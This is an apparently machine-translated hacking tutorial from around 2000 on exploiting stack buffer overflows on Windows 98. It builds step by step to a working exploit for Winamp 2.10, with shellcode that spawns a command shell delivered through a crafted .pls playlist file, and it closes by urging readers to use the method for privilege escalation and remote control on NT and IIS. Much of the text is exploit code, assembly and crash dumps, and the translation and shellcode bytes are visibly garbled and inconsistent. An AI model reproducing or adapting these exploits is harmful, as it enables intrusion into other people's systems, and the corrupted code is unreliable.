Stack overflow under the Window system
Author: ipxodi << mailto: ipxodi@263.net >>
◆ Principles
Let us take a look at the procedure under the Windows system. Our goal is to study how to use Windows programs
Stack overflow vulnerability.
Let us start from the beginning. Windows 98 Second Edition
First, let's write a question program:
#include
int main ()
{
CHAR Name [32];
Gets (name);
For (int i = 0; i <32 && name [i]; i )
Printf ("// 0x% x", Name [i]);
}
I believe everyone has seen it, Gets (name) does not have a boundary check on the Name array. So we can give the program
A long string, you must override the return address in the stack.
C: / program files / devstudio / myprojects / bo / debug> Vunera ~ 1
Sign
/ 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61
/ 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61
Here, the familiar dialog box appeared "The program has implemented illegal operation ...", too good, click
Details Button, see the value of EIP is 0x61616161, haha, dialog will tell us the return address.
This feature is too good, we can choose a sequence of input strings, accurately determine where the return address is stored.
C: / program files / devstudio / myprojects / bo / debug> Vunera ~ 1
12345678910111213141516171819202122324252627282930333233940
/ 0x31 / 0x32 / 0x33 / 0x34 / 0x35 / 0x36 / 0x37 / 0x38 / 0x39 / 0x31 / 0x30 / 0x31 / 0x31 / 0x31 / 0x32 / 0x31
/ 0x33 / 0x31 / 0x34 / 0x31 / 0x35 / 0x31 / 0x36 / 0x31 / 0x37 / 0x31 / 0x38 / 0x31 / 0x39 / 0x32 / 0x30 / 0x32
Here, there is another familiar dialog box "to change the procedure to perform illegal operation ...", click more
Button, below is details:
VuneRable module at 00DE: 32363235
Registers:
EAX = 00000005 cs = 017f EIP = 32363235 EFLGS = 00000246
EBX = 00540000 SS = 0187 ESP = 0064FE00 EBP = 32343233
ECX = 00000020 DS = 0187 ESI = 816BFFCC FS = 11df
EDX = 00411A68 ES = 0187 EDI = 00000000 GS = 0000
BYTES AT CS: EIP:
Stack dump:
32383237 33303333 33333333333333333 33333335 33333337 C0000005 0064FF68
0064FF68 00000000 00640F088 00000000 0064FF78 BFF8B86C Oh, EIP content is 0x32363235, that is, 2625, EBP content is 0x32343233, that is, 2423, calculate
You can know that in the stack, starting from the NAME variable address 36, is an address of EBP, from the Name variable
The address start offset 40, is the address of the RET. We can give the Name array to enter our carefully written shellcode.
As long as we put the Name's start address 40 of the address 40 of overflow strings. So, Name's start address
What is it?
We can see the above STACK DUMP, the current ESP is 0x0064FE00, the content is
0x32383237, then calculated, Name's start address is: 0x0064FE00-44 = 0x64FDD4. In Windows
The system, other running processes remain unchanged. Every time we execute the start address of the stack of Vunera ~ 1
Are the same. That is, each time run, the address of the Name is 0x64fdd4.
Telling here, everyone must have discovered such a situation: in the WIN system, due to address conflict testing,
Register image and stack image when an error, making us accurate analysis of stack overflow vulnerabilities
Overflow offset address. This allows us to find a stack overflow vulnerability.
OK, all the best, only shellcode.
First, consider what is our shellcode to do? Obviously, according to the experience, we want to open a
DOS window, so we can make a lot of things under this window.
The procedure for opening a DOS window is as follows:
#include
#include
Typedef void (* myproc) (LPTSTR);
int main ()
{
Hinstance libhandle;
MyProc Procadd;
Char DLLBUF [11] = "msvcrt.dll";
CHAR SYSBUF [7] = "system";
Char cmdbuf [16] = "Command.com";
LibHandle = loadingLibrary (DLLBUF);
PROCADD = (MyProc) getProcaddress (libhandle, sysbuf);
(Procadd) (cmdbuf);
Return 0;
}
This program is necessary to explain it in detail. We know that you can get a Command.com.
DOS window. In the C library function, statement system (command.com); will complete the features we need.
However, Windows does not use system calls like UNIX to implement critical functions. For our program,
Windows provides system functions through dynamic link libraries. This is the so-called DLL's.
Therefore, when we want to call a system function, he cannot directly reference him. We must find that
A dynamic link library containing this function, which provides the address of this function by the dynamic link library. There is also a DLL itself.
The basic address, the DLL is loaded from this basic address every time. For example, the System function is made of msvcrt.dll.
(The Microsoft Visual C Runtime Library) is provided, and MSVCRT.DLL is from each time
The 0x78000000 address begins. The System function is located at a fixed offset of MSVCRT.DLL (this offset address is only related to the version of MSVCRT.DLL, and the different versions may be offset by different addresses). On my system,
The MSVCRT.DLL version is (V6.00.8397.0). The system offset address is 0x019824.
So, if you want to execute system, we must first use loadLibrary (msvcrt.dll) to load dynamic link library
MSVCRT.DLL, the handle of the dynamic link library. Then use GetProcaddress (LibHandle, System)
Get the true address of System. This real address can then be used to call the System function.
Ok, now you can compile execution, the result is correct, we get a DOS box.
Now debugging the assembly language for this program, you can get:
15: libhandle = loadinglibrary (DLLBUF);
00401075 Lea EDX, DWORD PTR [DLLBUF]
00401078 PUSH EDX
00401079 Call DWORD PTR [__IMP__LOADLIBRARYA @ 4 (0x00416134)]]
0040107F MOV DWORD PTR [LibHandle], EAX
16:
17: procadd = (myProc) getProcaddress (Libhandle, Sysbuf);
00401082 Lea Eax, DWORD PTR [Sysbuf]
00401085 Push EAX
00401086 MOV ECX, DWORD PTR [LibHandle]
00401089 PUSH ECX
0040108A Call DWORD PTR [__IMP__GETPROCADDRESS @ 8 (0x00416188)]]
00401090 MOV DWORD PTR [Procadd], EAX
The value of EAX is now 0x78019824 is the true address of System.
This address is unique for my machine. No need to find every time.
18:
19: (procadd) (cmdbuf);
00401093 Lea EDX, DWORD PTR [cmdbuf]
Use the stack to pass the parameters, only one parameter is the address of the string "command.com"
00401096 PUSH EDX
00401097 Call DWORD PTR [procadd]
0040109A Add ESP, 4
Now we can write a assembly code to complete system, see the code to see our execution system call.
Can I work as we design:
#include
#include
void main ()
{
LoadLibrary ("msvcrt.dll");
__ASM {
MOV ESP, EBP; assign EBP content to ESP
PUSH EBP; save EBP, ESP-4
MOV EBP, ESP; assigning the EBP, the base pointer as partial variable
XOR EDI, EDI;
Push EDI; Press 0, ESP-4,
The role is the end of the string / 0 characters.
Sub ESP, 08H; Plus above, there are 12 bytes,
Used to put "Command.com".
MOV BYTE PTR [EBP-0CH], 63H;
MOV BYTE PTR [EBP-0BH], 6FH;
MOV BYTE PTR [EBP-0AH], 6DH;
MOV BYTE PTR [EBP-09H], 6DH;
MOV BYTE PTR [EBP-08H], 61H; MOV BYTE PTR [EBP-07H], 6EH;
MOV BYTE PTR [EBP-06H], 64H;
MOV BYTE PTR [EBP-05H], 2EH;
MOV BYTE PTR [EBP-04H], 63H;
MOV BYTE PTR [EBP-03H], 6FH;
MOV BYTE PTR [EBP-02H], 6DH; Generate "Command.com".
Lea EAX, [EBP-0CH];
Push eax; string address as a parameter
MOV Eax, 0x78019824;
Call Eax; calls System
}
}
Compile, then run. Ok, the DOS box came out. Enter dir, copy ... if you think about it.
When did I use 286?
Knocking EXIT quit, oh, an illegal operation has occurred. Access viological. This is sure, because of our
The program has already mess with the stack pointer.
Optimize the above algorithm, now we can write shellcode as follows:
Char shellcode [] = {
0x8B, 0xE5, / * MOV ESP, EBP * /
0x55, / * push ebp * /
0x8b, 0xec, / * MOV EBP, ESP * /
0x83, 0xec, 0x0c, / * sub eSP, 0000000C * /
0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * /
0x89, 0x45, 0xf4, / * MOV DWORD PTR [EBP-0C], EAX * /
0xB8, 0X61, 0X6E, 0x64, 0X2E, / * MOV EAX, 2E646E61 * /
0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * /
0xB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /
0x89, 0x45, 0xfc, / * MOV DWORD PTR [EBP-04], EAX * /
0x33, 0xD2, / * xor edx, edx * /
0x88, 0x55, 0xff, / * MOV BYTE PTR [EBP-01], DL * /
0x8D, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * /
0x50, / * push eax * /
0xB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /
0xFF, 0xD0 / * Call Eax * /
}
Remember the basic procedure of the test shellcode in the second lecture? We can use him to test this shellcode:
#include
#include
Char shellcode [] = {
0x8B, 0xE5, / * MOV ESP, EBP * /
0x55, / * push ebp * /
0x8b, 0xec, / * MOV EBP, ESP * /
0x83, 0xec, 0x0c, / * sub eSP, 0000000C * /
0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * /
0x89, 0x45, 0xf4, / * MOV DWORD PTR [EBP-0C], EAX * /
0xB8, 0X61, 0X6E, 0x64, 0X2E, / * MOV EAX, 2E646E61 * /
0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * /
0xB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /
0x89, 0x45, 0xfc, / * MOV DWORD PTR [EBP-04], EAX * /
0x33, 0xD2, / * xor Edx, EDX * / 0X88, 0X55, 0XFF, / * MOV BYTE PTR [EBP-01], DL * /
0x8D, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * /
0x50, / * push eax * /
0xB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /
0xFF, 0xD0 / * Call Eax * /
}
Int main () {
INT * RET;
LoadLibrary ("msvcrt.dll");
RET = (int *) & ret 2; // Ret is equal to main () return address
// ( 2 is because: There is a push eBP, otherwise add 1 is ok.)
(* RET) = (int) shellcode; // Modify the return address of the main () is the start address of the shellcode.
}
Compile operation, get the DOS dialog.
Summary now. We already know how to get a stack overflow under the Windows system, how to calculate
Offset address, and how to write a shellcode to get DOS. In theory, you already have a stack overflow
The ability, below, we truly master him through actual combat.
◆ Design of overflow strings
We already know how to get a stack overflow under the Windows system, how to calculate
Offset address, and how to write a shellcode to get DOS.
But this is far less enough.
Everyone knows that the user process space of the Windows system is 0-2g, and the operating system is 2-4g.
In fact, the load location of the user process is: 0x00400000. All instruction addresses, data addresses
And the stack pointer will contain 0, then our return address will inevitably contain 0.
Now let's take a look at our shellcode: nnnnsssrasaaaaaa. Obviously, our shellcode
Since A is 0, it has become NNNNNNNSSSSSA, so our return address A must be precise
Place the RET position in the exact function stack.
In fact, in the previous lecture, we have mastered the way to find this location.
Second, when Windows is executing MOV ESP, EBP, the discarded stack is filled with random data.
(Experimental income, how to mechanism, everyone study together), so our shellcode may be overwritten!
---- This is finished, our shellcode is gone, the return address is correct? ?
So, our shellcode must be changed to: nnnnnnnnnnnnnnnssssssssss, in the buffer
After overflowing, the layout of the stack is as follows:
Memory bottom memory top
Buffer EBP RET
<------ [nnnnnnnnnnnn] [n] [a] SSSS
^ & Buffer
Stack top stack bottom
see it? Our A covers the return address. S is located at the bottom of the stack. The content of A is the call to S.
However, we have said that A is a 0 character, such a overflow string, is blocked by 0 in A.
Can't go to Shellcode at all. We need to change A to not contain 0 addresses.
It seems that there is no way, is it? Now how we can do it, you can jump to our shellcode.
Can you not contain 0 bytes?
Everyone may still remember the author of the IIS4.0 remote attack author DARK Spyrit Aka Barnaby Jack?
He proposed the instructions in the system core DLL to complete the jump in the 1999 Phrack Magzine555.15.
thought of. I have to say this is a genius idea. In fact, this skill has created a brand new
Thoughts on Windows buffers overflow.
The idea is this: The content of the return address A does not point to our SHELLCODE, otherwise
The inside will inevitably contain 0. We know that the core of the system is 2-4G, which is from 0x80000000 to
0xffffffff, the instruction address in this will not contain 0, (especially if we don't need him).
Therefore, we can make the address A equal to the address of the instruction in a system core DLL, this instruction
The role is Call / JMP our shellcode.
But how can he know the address of our shellcode?
The answer is: use the register. Because when the overflow occurs, in addition to the EIP jumps to the system core DLL,
Other universal registers remain unchanged. There must be information about our shellcode inside the register.
For example, if there is a parameter, then our A covers his return address, shellcode
The start address is just in the position of his first parameter, then we can use Call [EBP 4] or
We assume that the address of the enemy's first parameter is in Eax, then we can use Call / JMP EAX to call Shellcode.
The value of these registers, we can get registers in the "Close Machine Frame" mentioned in the first lecture.
Details of the stack.
So how do we know where there is a call / jmp eax? How do we know that these instructions are every time?
Can you call directly in memory?
The answer is: System core DLL. The system core DLL includes kernel32.dll, user32.dll, gdi32.dll.
These DLLs are always located in memory and the location corresponding to the fixed version of Windows is fixed.
You can search for instructions you need in these DLLs. Other DLLs, such as MSVCRT. DLL is going to see the program
Your own import list. Look at whether he is loading this DLL. However, in general, these DLLs are enough.
Ok, then our shellcode finally:
NNNNNNNNNNNNNNASSSSSSSSSSSSSSSSSSSSSSS
Where: n is NOP instruction
A is the address pointing to a Call / JMP directive, this Call / JMP directive is located in the system core memory> 0x80000000,
This Call / JMP directive is specifically analyzed according to the results of our Exploit out.
S: shellcode.
With these basic knowledge, let's analyze an example.
Everyone has WINAMP, his 2.10 has buffer vulnerabilities, let's take an Exploit.
Winamp's Playlist support file * .pls stores PlayList. File name in PlayList
A stack overflow occurs if it is greater than a certain length. We can write test strings and precise tests.
Test.cpp
-------------------------------------------------- ----------------------------
#include
int main ()
{
Char buffer [640];
CHAR EIP [8] = ""
CHAR SPLOIT [256] = ""
File * file;
For (int x = 0; x <640; x ) {
Switch (x% 4) {
Case 0: buffer [x] = 'a'; Break;
Case 1: buffer [x] = 'a' x / 26% 26/26% 26; Break;
Case 2: buffer [x] = 'a' x / 26% 26; Break;
Case 3: buffer [x] = 'a' x% 26; Break;
}
}
Buffer [x] = 0;
FILE = FOPEN ("Crash.pls", "WB");
FPRINTF (File, "[PlayList] / N");
FPRINTF (File, "File1 =");
FPrintf (file, "% s", buffer;
FPRINTF (file, "% s", eip);
FPRINTF (file, "% s", sploit);
FPrintf (file, "/ nnumberofentries = 1");
Fclose (file);
Printf ("/ t created file crash.pls loaded with the expend./n");
Return 0;
}
-------------------------------------------------- ----------------------------
The algorithm is very simple, it is written out a CRACH.PLS file, and the content can be seen according to the fprintf.
I didn't talk, where the buffer's content is a string used. This test program can test
The string of up to 26 ^ 3 is sufficient.
Compile execution, look at the results, hey, the stack overflow has occurred, the results are as follows:
Winamp module at 00DE: 4C574141
Registers:
EAX = 00000001 CS = 017f EIP = 4c574141 EFLGS = 00000206
EBX = 006DA30C SS = 0187 ESP = 006DA170 EBP = 006Da2F4
ECX = 00000000 DS = 0187 ESI = 00445638 fs = 4bd7
EDX = 005B02DC ES = 0187 EDI = 00000001 GS = 4206
BYTES AT CS: EIP:
Stack dump:
50574141 54574141 58574141 42584141 46584141 4A584141
4E584141 52584141 56584141 5A584141 44594141 48594141
4c594141 50594141
According to EIP = 4141574c, the ADDR = (57H-41H) * 26 (4CH-41H) -4 = 580.
Ok, the overflow position is 580.
Everyone now knows that our overflow strings, return address A should be 580 skewers, then we should
Let him use what Call / JMP instructions reach shellcode?
Look at the register dump, we found that the contents of the ESP are 41415750, just after 4141574c
The first number. It seems that ESP points to our shellcode, great! We use instructions:
JMP ESP can perform our shellcode. Now find out that JMP ESP's command code is FF E4, Ctrl-D calls up S-ICE to see if there is FF E4 in memory.
Because the loading address of the system core DLL starts from the address 0xBF000000, so we
Search S BF000000 L ffffffffff, E4
What results did you get?
A bunch of this first is: BFF795A3. Take a look at the process name column inside Softice:
KERNEL32! GetDataFormata 1554 is good, it is kernel32.dll, it must be available.
OK, problem solving, we can now determine in the Buffer [580], write four bytes:
"/ xa3 / x95 / xf7 / xbf". This is the return address A in our overflow string A.
Ok, now the overflow string has been basically analyzed, it is poor shellcode.
Let's write shellcode.
Our shellcode wants to open a DOS window. C language algorithm description is:
LoadLibrary ("msvcrt.dll");
System ("Command.com");
exit (0);
Very simple, is it? Below is a compilation code:
First, looklibrary ("msvcrt.dll");
Push EBP
MOV EBP, ESP
XOR EAX, EAX
Push EAX
Push EAX
Push EAX
MOV BYTE PTR [EBP-0CH], 4DH
MOV BYTE PTR [EBP-0BH], 53H
MOV Byte PTR [EBP-0AH], 56H
MOV BYTE PTR [EBP-09H], 43H
MOV BYTE PTR [EBP-08H], 52H
MOV BYTE PTR [EBP-07H], 54H
MOV BYTE PTR [EBP-06H], 2EH
MOV BYTE PTR [EBP-05H], 44H
MOV BYTE PTR [EBP-04H], 4CH
MOV BYTE PTR [EBP-03H], 4CH
MOV EDX, 0xBFF776D4 // loadLibrary
Push Edx
Lea Eax, [EBP-0CH]
Push EAX
Call DWORD PTR [EBP-10H]
Then open a DOS window:
Push EBP
MOV EBP, ESP
SUB ESP, 0000002C
MOV Eax, 6D6D6F63
MOV DWORD PTR [EBP-0C], EAX
Mov Eax, 2E646E61
Mov DWORD PTR [EBP-08], EAX
Mov Eax, 226D6F63
Mov DWORD PTR [EBP-04], EAX
XOR EDX, EDX
MOV BYTE PTR [EBP-01], DL
Lea Eax, DWORD PTR [EBP-0C]
Push EAX
Mov Eax, 78019824 // system
Call EAX
Finally, Exit is executed, exiting.
Push EBP
MOV EBP, ESP
Mov edx, 0xffffffff
Sub EDX, 0x87FFAAFB / / EXIT
Push Edx
XOR EAX, EAX
Push EAX
Call dword ptr [EBP-04H]
Simply put, MSVCRT.DLL is a dynamic link library that runs the C language standard library function.
To use System, EXIT, you must load this library. Winamp doesn't have the library of import,
We need to load themselves.
In the command MOV EDX, 0xBFF776D4, 0xBff776d4 is the address of the function loadLibrarya. His code is in kernel32.dll, is a DLL loaded by WinAmp. KERNEL32.DLL on my machine
The version is: (v4.10.2222).
0x78019824 is the address of the function system in MSVCRT.DLL. Version: (v6.00.8397.0)
0x78005504 is the address of the function exit in msvcrt.dll. Version: (v6.00.8397.0)
Due to 0 inside, use two instructions to complete:
Mov edx, 0xffffffff
Sub EDX, 0x87FFAAFB / / == Mov Edx, 0x78005504
Compile, find two binary code:
Shellcode:
"/ x55 / xc0 / x50 / x50 / x50 / xc6 / x45 / xf4 / x4d / xc6 / x45 / xf5 / x53"
"/ XC6 / X45 / X45 / XF7 / X43 / XC6 / X45 / XF8 / X52 / XC6 / X45 / XF9 / X54 / XC6 / X45 / XFA / X2E / XC6"
"/ X45 / XFB / X44 / XC6 / X45 / XFC / X4C / XC6 / X45 / XFD / X4C / XBA / X50 / X77 / XF7 / XBF / X52 / X8D / X45 / XF4 / X50"
"/ XFF / X55 / XF0"
"/ x55 / x8b / Xec / x83 / XEC / X2C / XB8 / X63 / X6F / X6D / X6D / X89 / X45 / XF4 / XB8 / X61 / X6E / X64 / X2E"
"/ x89 / x45 / x6f / x6d / x22 / x89 / x45 / x45 / xff / x8d / x45 / xf4"
"/ X50 / XB8 / X24 / X98 / X01 / X78 / XFF / XD0"
"/ X55 / X8B / XEC / XBA / XFF / XFF / XFF / XFF / X81 / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X50 / XFF / X55 / XFC"
Ok, all the algorithms are discussed, the next lending we will implement an Exploit
◆ Final improvement
We use the previously written test programs to be an Exploit program:
Exploit.cpp
-------------------------------------------------- ----------------------------
#include
int main ()
{
Char buffer [640];
Char EIP [8] = "/ xa3 / x95 / xf7 / xbf";
Char shellcode [256] =
"/ X55 / X8B / XEC / X33 / XC0 / X50 / X50 / X50 / XC6 / X45 / XF4 / X4D / XC6 / X45 / XF5 / X53" // load
"/ XC6 / X45 / X45 / XF7 / X43 / XC6 / X45 / XF8 / X52 / XC6 / X45 / XF9 / X54 / XC6 / X45 / XFA / X2E / XC6"
"/ X45 / XFB / X44 / XC6 / X45 / XFC / X4C / XC6 / X45 / XFD / X4C / XBA / X50 / X77 / XF7 / XBF / X52 / X8D / X45 / XF4 / X50"
"/ XFF / X55 / XF0"
"/ x55 / x8b / Xec / x83 / XEC / X2C / XB8 / X63 / X6F / X6D / X6D / X89 / X45 / XF4 / XB8 / X61 / X6E / X64 / X2E"
"/ x89 / x45 / x6f / x6d / x22 / x89 / x45 / x45 / x45 / xff / x8d / x45 / xf4" "/ x50 / xb8 / x24 / x98 / X01 / X78 / XFF / XD0 "
"/ X55 / X8B / XEC / XBA / XFF / XFF / XFF / XFF / X81 / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X50 / XFF / X55 / XFC"
File * file;
For (int x = 0; x <580; x )
{
Buffer [x] = 0x90;
}
FILE = FOPEN ("Crash.pls", "WB");
FPRINTF (File, "[PlayList] / N");
FPRINTF (File, "File1 =");
FPrintf (file, "% s", buffer;
FPRINTF (file, "% s", eip);
FPrintf (file, "% s", shellcode;
FPrintf (file, "/ nnumberofentries = 1");
Fclose (file);
Printf ("/ t created file crash.pls loaded with the expend./n");
Return 0;
}
-------------------------------------------------- ----------------------------
OK, run him, generate a file called crash.pls. Open this Playlist in Winamp,
There should be a DOS. Have you come out?
Oops, how is it wrong?
Winamp module at 017F: 004200C3
In Winamp.exe causes invalid page errors.
Registers:
EAX = 00000001 CS = 017f EIP = 004200C3 EFLGS = 00000206
EBX = 006DA30C SS = 0187 ESP = 006DA171 EBP = 006DA2F4
ECX = 00000000 DS = 0187 ESI = 00445638 fs = 444f
EDX = 005B02DC ES = 0187 EDI = 00000001 GS = 4446
BYTES AT CS: EIP:
00 85 F6 7D 06 03 35 DC 23 44 00 8B 6C 24 10 3B
Stack dump:
0A006DA1 8000009D 0000442A 90000000 90909090 90909090
90909090 90909090 90909090 90909090 909090 90909090
90909090 90909090 90909090 90909090
Look at the wrong information, EIP is 4200C3, it seems that we have started to implement our shellcode, how can there be
Invalid page error? It seems that our shellcode has a problem.
At this time, S-ICE is also sent to use, tracking and see:
Ctrl-d
BPX BFF795A3 (is our JMP ESP)
x
Ok, now run Winamp, open the file crash.pls, stopped by the S-ICE, start tracking. A JMP ESP
After that, I went to our shellcode, continue to execute, what did you see? strange! Our shellcode is shortened, go to B8249801, there is no. How is this going?
It should be / xb8 / x24 / x98 / x01 / x78, where is the / x01?
It seems that the enemy will work with the input overflow string, and the characters that cannot be used as the file are handled as 0.
(In fact, this is the process of Win32API function). Our shellcode is truncated.
I said in the first quarter in the fourth question, I said the countermeasures for this problem. Solution of this problem requires us to change shellcode,
Remove those characters with problems: / x01
We do the following:
Mov Eax, 78019824 ----> MOV Eax, FfffffffFF
SUB EAX, 87FE67DB
Compilation Get:
XB8 / X24 / X98 / X01 / X78 ----> / XB8 / XFF / XFF / XFF / XFF
/ X2D / XDB / X67 / XFE / X87
Get the new procedure below:
/ * Stack based Buffer overflow Exploit for Winamp V2.10
* Author steve fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the expedition see my advisory.
*
* TESTED with WINAMP V2.10 Using Windows98 on An Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
* Modify by ipxodi 20-01-2k
* for windows98 the 2nd version and for a new shellcode.
* Windows98 V 4.10.2222.a Chinese version
* PII 366 WITH 64MB RAM (Not a good pc, en?)
* ipXodi@263.net
* /
#include
int main ()
{
Char buffer [640];
Char EIP [8] = "/ xa3 / x95 / xf7 / xbf";
Char sploit [256] = "/ x55 / x8b / x 50 / x50 / x50 / xc6 / x45 / xf4 / x4d / xc6 / x45 / xf5 / x53"
"/ XC6 / X45 / X45 / XF7 / X43 / XC6 / X45 / XF8 / X52 / XC6 / X45 / XF9 / X54 / XC6 / X45 / XFA / X2E / XC6"
"/ X45 / XFB / X44 / XC6 / X45 / XFC / X4C / XC6 / X45 / XFD / X4C / XBA / X50 / X77 / XF7 / XBF / X52 / X8D / X45 / XF4 / X50"
"/ XFF / X55 / XF0"
"/ x55 / x8b / Xec / x83 / XEC / X2C / XB8 / X63 / X6F / X6D / X6D / X89 / X45 / XF4 / XB8 / X61 / X6E / X64 / X2E"
"/ x89 / x45 / x6f / x6d / x22 / x89 / x45 / x45 / xff / x8d / x45 / xf4"
"/ X50 / XB8 / XFF / XFF / XFF / XFF / X2D / XDB / X67 / XFE / X87 / XFF / XD0"
"/ X55 / X8B / XEC / XBA / XFF / XFF / XFF / XAA / X81 / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X50 / XFF / X55 / XFC"; File * file;
For (int x = 0; x <580; x )
{
Buffer [x] = 0x90;
}
Buffer [x] = 0;
FILE = FOPEN ("Crash.pls", "WB");
FPRINTF (File, "[PlayList] / N");
FPRINTF (File, "File1 =");
FPrintf (file, "% s", buffer;
FPRINTF (file, "% s", eip);
FPRINTF (file, "% s", sploit);
FPrintf (file, "/ nnumberofentries = 1");
Fclose (file);
Printf ("/ t created file crash.pls loaded with the expend./n");
Return 0;
}
OK, run him, generate a file called crash.pls. Open this Playlist in Winamp,
The result is as follows, my lovely DOS came out:
Microsoft (R) Windows 98
(C).
D: / Hacker / Document / IPXODI> DIR
.......................
........ Nothing is posted .........
to sum up:
After this actual exercise, everyone must have a deep master of buffer overflow under WINDOWS.
We can see that the stack overflow attacks under Windows, the principle is basically the same. but,
Since the Windows User Process Space Assignment and Stack Processing has its own independent features, Windows
When the stack overflows in the environment, the stack overflows the string and is very different from UNIX. It also
It is the reason why I write a Windows series after I have written over Linux overflow series.
In addition, from the process of crack, I can find that I have repeatedly emphasized the version of Windows. In fact, this
It also leads to Exploit under Windows without versatility. Everyone's Windows version is different.
EXPLOT uses a lot of library functions in the dynamic link library, and its address is with the DLL version.
Relationship. Different DLL versions, the offset address of the library function inside (Note: Yes)
different. Because of Windows's Patch Every day, some of his DLL is updated quickly. May even be different
Language version of Windows, its core DLL version is different. User's DLL change,
So, the shellcode in our cost is a rewrite.
In order to solve this problem, I think we can minimize the use of fixed addresses. That is, use
GetProcaddress to get every system function we will use, of course, this is greatly extended.
Our shellcode. However, this is also unable to eliminate the LoadLibrary for kernel32.dll and
Direct reference to the address of getProcaddress, because these two are the most basic in shellcode
The function, naturally leads to the dependence on the kernel32.dll version.
Here, everyone is advised, don't be discouraged when you write the EXPLOIT error. Run SICE, track your shellcode, will find the root of the problem.
Therefore, this also answered questions of XSZ, LittleWorm last year. At that time, we experiment IIS4.0
EXPLOIT is always not successful, and the Client end has been completed later. We often see it.
The box of Access Viology is due to the problem of shellcode's version dependency.
So, for the stack of windows overflows EXPLOIT, you must open the original code can be done by others.
The changes in other versions, this, everyone will remember when you publish Exploit.
Say a question outside:
Many people have running the stack overflowing Exploit without success, thinking that their machine has no problem.
In this regard, Dark Spyrit Aka Barnaby Jack has such a suggestion:
If The experaned ...
Do Not Determine The Threat To your servers solely on the results of one
Public Exploit - The Vulnerability EXISTS, FIX It. if you think what WAS
The Only Demonstration Code Floating Around You NEED Your Head Examined.
In the past 97 years ago, we have spilled in the 97-year-old discussion.
Buffer overflow under Windows. His article is still there, everyone can go to the essence.
However, only the principle of discussing it is, and still staying in the feasibility of stack overflow, and far without exploring him to attack.
I have also thought that the stack overflow attack of Windows is unnecessary.
Later, NT's Zhongpico users got admin, I thought of spilling attacks in Spulging from UNIX.
Because there are many system processes in NT, they are started with the System account. If we can put them
Overflow, according to the above method, you can get DOS, (NT is cmd.exe), will have
Super user's permissions. Of course, you can do it for what you want.
This is just an application of the stack overflow attack in Windows NT. Last year, I studied the overflow of IIS4.0,
Discovering a problem with Windows web service procedures lead to Windows stack overflow, you can help us
Get remote control. I realized that the Windows stack overflow attack will be a very research value attack.
means.
In subsequent research, sometimes because difficulties are almost abandoned. Ok, there is a small lazy (sysword).
Hellguard, Master Kong (KXN) these netizens
Give me the supervision and help. Thanks here, at the same time, thank you for discussing the Windows series stack overflow.
Friends LittleWorm, XSZ them.
Finally, I hope that my lecture is a throwing jade, which can lead to a more deep discussion. I hope everyone is
After reading it, it is possible to understand the Windows stack overflow technology. If everyone can make improvements
Algorithm, or discovering new EXPLOIT, it is really a spirit of our hacking version.
Let us share this following:
"If you assume That there's no hope, you guarance the there will be no hope.
If You Assume That there is an in instinct for freedom, there is areopportunities to changeins.
-Noam Chomsky
